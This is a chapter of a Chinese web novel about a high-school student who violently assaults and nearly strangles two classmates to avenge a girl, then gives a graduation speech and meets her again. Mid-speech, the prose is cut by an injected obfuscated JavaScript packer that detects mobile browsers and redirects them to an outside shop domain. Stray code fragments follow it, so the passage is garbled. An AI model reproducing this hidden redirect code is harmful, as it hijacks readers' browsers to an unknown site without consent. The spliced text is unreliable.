十分钟之后,王洋着急的看向后面,陈霁和还没有回来,但是分享会已经开始了。
看着空空的座位,一班的班主任常老师问:“陈霁和人呢?”
“说他去卫生间,结果到现在也还没回来。”
“他带手机了吗?”
“刚打了没人接。”
无奈之下,常老师只能临时和校长反馈,分享的人最终换成了沈嘉宁。
而没回来的还有江律,二中的人左顾右盼,都没见着江律的影子。
文馨月自告奋勇,“我去找找他吧。”
毕竟她现在是江律的正牌女友,她这样说,没任何一个人阻拦。
体育中心的卫生间很大,但是厕所走廊的灯和监控坏了,平常如果没有活动,这边是不开放的,偌大的卫生间阴冷空旷,喊一声,回音可以绕半天。
她站在男厕所的门口,朝里面喊了一声:“江律?”
没人回应。
但是她听到脚步声,外面的洗手池是男女公用的,有人掠过她走到这里,慢条斯理的洗手。
这人身上的香味很好闻,身形高大,他洗手洗的很认真,恨不得搓掉一层皮。
饶是光线很差,看不真切,但也能感觉出来,这人的五官深邃程度。
文馨月随口问了一句:“同学,你看见这里面有其他人了吗?”
陈霁和抬起头,扭头看着她,“没有。”
被他的面貌惊艳到,文馨月咽了咽口水说:“你是陈霁和吗?今天是不是你要上去分享的?”
他“嗯”了一声,声音很好听。
“那你怎么还没去?我刚看到都换人了。”
他直起身,看着她说:“我在等你。”
文馨月心猛地跳了一下,“什么?”
然后看到对方一步一步走到自己面前,她掩饰不住狂跳的心脏和喜悦的眼神,但下一秒,她吃痛的大叫出声:“啊——”
她被陈霁和拽住头发,拖到卫生间,像丢垃圾一样扔在地上。
面前俊美好看的少年在昏暗的光线下像地狱里爬出来的恶鬼,他蹲下身,伸手捏住她的下巴,力道很大,文馨月疼的眼泪往下掉,下巴脱臼了一般疼痛。
“你们害了林采薇,你们要付出代价。”
他说道,低沉的音色在此时像恶魔低语。
文馨月一边哭一边摇头,“是江律让我去说的。”
“是吗?你刚刚的样子可不像被胁迫的。”
他加重了力道,另一只手不停的抖动,是极度愤怒导致的。
他现在很想很想把手放在她脖子上掐死她。
文馨月的妆哭的都花成一片。
她不敢说,当初江律在她面前提到林采薇,说她不仅在一中混的风生水起,还拿下了一中那个叫陈霁和的男生。
回去之后,她还搜了一下这个名字,在了解陈霁和这个人之后,她的嫉妒之火燃燃烧起,她们本都是一样的,为什么林采薇能反转人生?凭什么?凭什么她能过得那么好?
好在上天是公平的,给了人好运,也给了另一个人不幸,不幸的这个人就是江心莲,所以她心里有了主意,问江律从一中学生那里弄到了林采薇的电话,把这件事“好心”的分享给了她。
而善良的林采薇同学果然不负所望,给自己以前的好姐妹料理后事,以身入局。
但面对此刻,自己面前这个疯子,神经病,她怎么可能把一切如实交代出来,只能把责任都推到江律身上。
“是江律让我这样做的,他是二中的校霸,我和他谈恋爱感觉很有面子,所以他说什么我都听,我想着只是告诉林采薇,我不知道她真的会跑回去。”
陈霁和冷笑了一声,看着面前这人虚伪至极的嘴脸,他真想像刚才一样,拎起江律的脑袋砸向墙面,踹断他的骨头,江律直接昏迷过去,被他丢进了厕所最后一个隔间,让他自生自灭。
“不知道……”他念着这几个字眼,强劲有力的手臂把文馨月从地上轻易提起来,虎口掐住她的脖子,把人抵在冰凉的瓷砖墙面上。
他稍稍用力,文馨月就几乎要昏厥过去了,面前男生的脸越来越模糊,就在她以为自己要死亡的时候,门口传来响动。
有人大喝一声:“陈霁和!住手!”
随着男生松手,她脱力的滑倒在地面上,不停的咳嗽,咳的满脸通红,肺部都止不住的疼。
有人打开最后一扇卫生间的门,看清里面躺着浑身是血,不省人事的江律,倒吸了一口凉气。
“快!送医院!”
老师慌里慌张的指挥几个男生把不知死活的江律抬了出去,随后又让人把脸色发紫,差点窒息身亡的文馨月给扶出去。
而造成这一切的中心人物陈霁和,看着他们手忙脚乱的样子,眼底冰冷,没有一丝慌乱。
“啪”一声,一个清脆的耳光甩在陈霁和脸上。
陈彦不可置信的看着他,“你刚刚在干什么?你要杀人吗?你把那个男生怎么了?”
他今天是作为优秀学生的家长受邀出席的,没想到他的亲儿子亲手送他这么大礼。
他们以为陈霁和只是一时发生冲突,脑子糊涂不清醒,但偏偏他眼神清明,一点都没有犯糊涂的样子,说道:“嗯,你们再来迟一点,他们两个就应该死了。”
“你……你怎么能做这种事?”
他好笑的看着面前的父亲,“我为什么不能做?我又不是没做过。”
陈彦捂着胸口,眼前发黑,“你给我滚回家,面壁思过。”
经过医院的检查,江律没有什么生命危险,但受伤确实有点重,文馨月也没有大碍,只是受了惊吓。
恒朔集团赔了钱,及时处理好了后续,但那天在场的所有人都知道了陈霁和差点失手杀人。
这事一传十十传百,霖城所有学校的都知道了。
何子叙担忧的问道:“这会影响班长的保送吗?”
王洋倒是没有太担心,“他家不是处理好了吗?但是肯定要受处分的,这次这么严重,他爸已经让他回家面壁思过了,不知道什么时候来。”
何子叙看着陈霁和空空的座位,趴在课桌上,“他这是拿前途去赌啊,生气归生气,差点杀人,也太可怕了,这还是我们认识的班长吗?”
王洋乜他,一副“你没有看清爱情本质所以你不懂”的神情,“爱情就是让人奋不顾身,你没有喜欢的人,你不会懂的。”
何子叙挠挠头,“其实我暗恋过沈嘉宁,但是代入一下,我也不会为了她干这样的事,把自己搭进去了不值当。”
“正常人的想法是这样,但是也恰恰说明,一般人爱的不够深。”
-
高三这一年犹如流星划过,转瞬即逝。
那些发生过的种种很快淹没在题海里,那些再轰动的事情都抵不过一件事——高考。
这是悬于所有人心口的一块大石。
距离高考倒计时四天,一中搞了毕业典礼和成人礼。
给所有同学穿上学士服,每个班排着队进入操场,班主任为大家逐一拨穗,很有仪式感。
毕业生代表陈霁和走上讲台,校长亲自拨穗后,他站在发言台前,话筒把他敲金击玉般的声音送到校园的每个角落。
“尊敬的各位老师,亲爱的各位高三同学们,
今天我们站在这里,即将和漫长而滚烫的高中时代告别。
回望朝夕相伴的三年,薄雾笼罩的清晨回荡着全班的早读声,沿途亮起的路灯见证我们深夜每一次返程,为每一次进步雀跃过,也为一次失利消沉过,这条路上我们跌倒又自愈,追风赶月,从未停留,是上百次的跌宕起伏铸就我们今天的厚积薄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772419|207027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发,是一次次失利再爬起来才让我们现在宽和从容……”
看着台上发言的少年,徐今禾向后靠到朱相宜胸前:“这发言听着真伤感。”
朱相宜和她意见相悖,“稿子应该是他们语文课代表写的,挺中规中矩的,只是感觉陈霁和今天有点伤感,从上到下,方方面面。”
徐今禾看了会,才赞同道:“是的,他有点恹恹的,读出了一种破碎的告别感。”
“不愧是经历过情伤的男人。”
徐今禾想不明白,“所以采薇就这么放弃高考了吗?谁都联系不上。”
“遇到这种事,谁能平和的继续生活,只是事情没有发生在自己身上,不知道刀子扎的有多疼罢了。”
“但好歹给我们报个平安啊,现在都不知道她人怎么样了。”
联想到曾经的塔罗牌,现在看来一语成谶。
“原我们此去经年,不负青春,不负师恩,更不负自己。”
“最后——”他看着远处碧蓝的晴天,短暂的停顿了一下,继而又说道:“考试顺利,前途坦荡大家都听得太多遍了,我祝每个人,一切顺遂,忘掉所有痛苦的,不开心的,带着那份诚挚幸福的记忆走下去,无论身处哪里,无论未来成为什么样子,你都是最好的。”
掌声轰鸣,远处气球随风飞舞,他匆匆下了演讲台,到卫生间整理差点失控的仪态,镜子里映出他发红的眼尾。
毕业演讲以及领导讲话结束,大家拉着家人同学还有朋友合影。
陈霁和自己没有拍,但却有无数个同学要跟他合照,都想在考试前蹭一把保送大神的光环,祈祷自己上考场能好运满满。
一番强颜欢笑之后,他终于能脱身离开喧闹无比的操场。
成人礼环节他没有参加,高一高二的学生们都在看台充当氛围组,为高三即将奔赴考场的师兄师姐们呐喊加油。
除了操场,此刻学校的其他地方静悄悄的,偶尔有家长经过。
他是保送生,不需要参加接下来两天的高考,但今天的毕业典礼结束,便没有必要再回学校。
因为就算他绕遍整个学校,也再也见不到朝思暮想的那个人。
心中的涩然充盈胸腔,他突然很想去那幢实验楼再看看。
实验楼的门开着,今天没有学生在里面做实验,整幢楼静寂森然,走在楼道里,只听得见脚步的回声。
他走到三楼的拐角,看见走廊尽头的栏杆处趴着一个人,她静静的看完整场毕业典礼,听到他的毕业演讲,听到他最后的话。
那是不是猜到,最后一段,是他想告诉她的?
他看着林采薇的背影,只恍惚觉得两个人有一个世纪那么久没有见面了,那么长那么长时间,明明这样长的时间,他却没有模糊有关林采薇的半点记忆,反而愈加的刻骨铭心。
就像有所感应一般,林采薇转过身,但她第一时间是想逃。
看出她的意图,陈霁和什么都顾不上,朝她飞奔而来。
四面是栏杆和墙壁,逃无可逃。
肩膀被一双有力的手臂死死锁住,下一刻,她被面前高大的少年摁进怀里,力道大到恨不得把她揉进身体。
“林采薇,你知不知道,我总是做梦梦见你,醒来发现都是梦的绝望感,这次不是梦,对吗?”
喉咙干涩,她想说一个“嗯”回答他,都发不出音节。
只是被他这样紧紧的抱着。
他说:“林采薇,你知不知道我等了你多久?你知不知道这一年的每一天我怎么过来的?我一边想你,一边后悔那天怎么没把那两个人渣弄死。”
他阴鸷的声音让她从他怀中抬起头,觉得面前的陈霁和熟悉又陌生。
她想说“那不行啊,那是犯法的,你不要冲动。”,但只字未说出口,少年汹涌的,充满爱意的吻就先落下来。